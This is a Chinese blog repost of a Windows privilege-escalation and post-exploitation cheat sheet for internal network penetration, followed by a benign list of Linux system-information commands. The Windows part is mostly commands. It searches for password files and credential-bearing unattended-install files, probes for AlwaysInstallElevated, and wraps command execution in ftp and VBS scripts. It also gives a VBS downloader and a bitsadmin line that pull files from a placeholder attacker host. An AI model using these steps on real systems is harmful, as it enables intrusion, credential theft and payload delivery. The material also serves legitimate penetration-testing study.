Windows内网渗透提权的几个实用命令 以及 Linux系统信息查看命令
2016-09-25 14:42
931 查看
windows
获取操作系统信息识别操作系统名称及版本:
C:\Users\thel3l> systeminfo | findstr /B /C:"OS Name" /C:"OS Version" OS Name: Microsoft Windows 10 Pro OS Version: 10.0.14393 N/A Build 14393
当然中文系统得输入这样:
systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本"
识别系统体系结构:
C:\Users\thel3l> echo %PROCESSOR_ARCHITECTURE% AMD64
查看所有环境变量:
C:\Users\thel3l> SET USERNAME=thel3l USERPROFILE=C:\Users\thel3l
查看某特定用户信息:
C:\Users\thel3l>net user thel3l User name thel3l
获取网络信息
查看路由表信息:
C:\Users\thel3l> route print
查看ARP缓存信息:
C:\Users\thel3l> arp -A
查看防火墙规则:
C:\Users\thel3l> netstat -ano C:\Users\thel3l> netsh firewall show config C:\Users\thel3l> netsh firewall show state
应用程序及服务信息
查看计划任务:
C:\Users\thel3l> schtasks /QUERY /fo LIST /v
中文系统的命令,先调整GBK编码为437美国编码:
C:\Users\thel3l> chcp 437
然后
C:\Users\thel3l> schtasks /QUERY /fo LIST /v
查看服务进程ID:
C:\Users\thel3l> tasklist /SVC
查看安装驱动:
C:\Users\thel3l> DRIVERQUERY
查看安装程序和版本信息(漏洞利用线索):
C:\Users\thel3l> wmic product list brief
查看服务、进程和启动程序信息:
C:\Users\thel3l> wmic service list brief C:\Users\thel3l> wmic process list brief C:\Users\thel3l> wmic startup list brief
查看.msi程序的执行权限:
C:\Users\thel3l> reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated C:\Users\thel3l> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
查看是否设置有setuid和setgid:
C:\Users\thel3l> reg query HKEY_Local_Machine\System\CurrentControlSet\Services\NfsSvr\Parameters\SafeSetUidGidBits
查看安装补丁和时间信息:
C:\Users\thel3l> wmic qfe get Caption,Description,HotFixID,InstalledOn
查看特定漏洞补丁信息:
C:\Users\thel3l> wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KBxxxxxxx"
敏感数据和目录
查找密码文件或其它敏感文件:
C:\Users\thel3l> cd/ C:\Users\thel3l> dir /b/s password.txt C:\Users\thel3l> dir /b/s config.* C:\Users\thel3l> findstr /si password *.xml *.ini *.txt C:\Users\thel3l> findstr /si login *.xml *.ini *.txt
无人值守安装文件:
这些文件通常包含base64模式的密码信息。这类文件在一些大型企业网络或GHO系统中可以发现,文件通常的位置如下:
C:\sysprep.inf C:\sysprep\sysprep.xml C:\Windows\Panther\Unattend\Unattended.xml C:\Windows\Panther\Unattended.xml
文件系统
可以通过调用系统预安装程序语言查看当前可访问目录或文件权限,如python下:
import os; os.system("cmd /c {command here}")
使用copy con命令创建ftp执行会话:
范例
C:\Users\thel3l> copy con ftp.bat #创建一个名为ftp.bat的批处理文件 ftp # 输入执行会话名称,按回车到下一行,之后按CTRL+Z结束编辑,再按回车退出 C:\Users\thel3l> ftp.bat # 执行创建的文件 ftp> # 执行ftp命令 ftp> !{command} # e.g. - !dir or !ipconfig
使用copy con命令创建VBS脚本文件:
C:\Users\thel3l> copy con commandExec.vbs #创建VBS脚本文件 Call WScript.CreateObject("Wscript.Shell").Run("cmd /K {command}", 8, True) #VBS文件内容 C:\Users\thel3l> commandExec.vbs #执行脚本文件
检查文件夹可写状态:
C:\Users\thel3l> dir /a-r-d /s /b
6.一个有用的文件上传脚本
' downloadfile.vbs ' Set your settings strFileURL = "http://{YOUR_IP}/{FILE_NAME.EXT}" strHDLocation = "c:\\{FILE_NAME.EXT}" ' Fetch the file Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP") objXMLHTTP.open "GET", strFileURL, false objXMLHTTP.send() If objXMLHTTP.Status = 200 Then Set objADOStream = CreateObject("ADODB.Stream") objADOStream.Open objADOStream.Type = 1 'adTypeBinary objADOStream.Write objXMLHTTP.ResponseBody objADOStream.Position = 0 'Set the stream position to the start Set objFSO = Createobject("Scripting.FileSystemObject") If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation Set objFSO = Nothing objADOStream.SaveToFile strHDLocation objADOStream.Close Set objADOStream = Nothing End if Set objXMLHTTP = Nothing
你可以以下这种方式运行它:
C:\Users\thel3l>cscript.exe downloadfile.vbs
bitsadmin命令:
如果你的目标系统是Windows 7及以上操作系统,你可以使用bitsadmin命令,bitsadmin是一个命令行工具,可用于创建下载上传进程:
范例
C:\Users\thel3l> bitsadmin /transfer job_name /download /priority priority URL local\path\file C:\Users\thel3l> bitsadmin /transfer mydownloadjob /download /priority normal ^ http://{YOUR_IP}/{FILE_NAME.EXT} C:\Users\username\Downloads\{FILE_NAME.EXT}
如:
bitsadmin /transfer n http://download.fb.com/file/xx.zip c:\pentest\xx.zip
Linux
系统# uname -a #查看内核/操作系统/CPU信息 # head -n 1 /etc/issue #查看操作系统版本 # cat /proc/cpuinfo #查看CPU信息 # hostname #查看计算机名 # lspci -tv #列出所有PCI设备 # lsusb -tv #列出所有USB设备 # lsmod #列出加载的内核模块 # env #查看环境变量
资源
# free -m #查看内存使用量和交换区使用量 # df -h #查看各分区使用情况 # du -sh <目录名> #查看指定目录的大小 # grep MemTotal /proc/meminfo #查看内存总量 # grep MemFree /proc/meminfo #查看空闲内存量 # uptime #查看系统运行时间、用户数、负载 # cat /proc/loadavg #查看系统负载
磁盘和分区
# mount | column -t #查看挂接的分区状态 # fdisk -l #查看所有分区 # swapon -s #查看所有交换分区 # hdparm -i /dev/hda #查看磁盘参数(仅适用于IDE设备) # dmesg | grep IDE #查看启动时IDE设备检测状况
网络
# ifconfig #查看所有网络接口的属性 # iptables -L #查看防火墙设置 # route -n #查看路由表 # netstat -lntp #查看所有监听端口 # netstat -antp #查看所有已经建立的连接 # netstat -s #查看网络统计信息
进程
# ps -ef #查看所有进程 # top #实时显示进程状态
用户
# w #查看活动用户 # id <用户名> #查看指定用户信息 # last #查看用户登录日志 # cut -d: -f1 /etc/passwd #查看系统所有用户 # cut -d: -f1 /etc/group #查看系统所有组 # crontab -l #查看当前用户的计划任务
服务
# chkconfig --list #列出所有系统服务 # chkconfig --list | grep on #列出所有启动的系统服务
程序
# rpm -qa #查看所有安装的软件包
特别鸣谢
1. Windows内网渗透提权的几个实用命令
2. Linux系统信息查看命令
相关文章推荐
- Windows内网渗透提权的几个实用命令
- Windows内网渗透提权的几个实用命令
- Windows内网渗透提权的几个实用命令
- Windows内网渗透提权的几个实用命令
- Windows内网渗透提权的几个实用命令
- linux下几个查看系统信息的命令
- Linux查看系统信息的一些命令以及查看已安装软件包的命令
- LINUX几个查看系统硬件信息的有用命令
- linux系统查看硬件以及系统信息常用命令汇总
- Linux系统信息查看命令大全
- Linux系统信息查看命令大全
- Linux系统信息查看命令大全
- Linux系统信息查看命令大全
- linux 查看系统信息命令
- 查看系统信息的几个命令
- Linux系统信息查看命令大全
- Linux系统信息查看命令大全
- linux系统信息查看 基本命令
- Linux系统信息查看命令大全
- Linux系统信息查看命令大全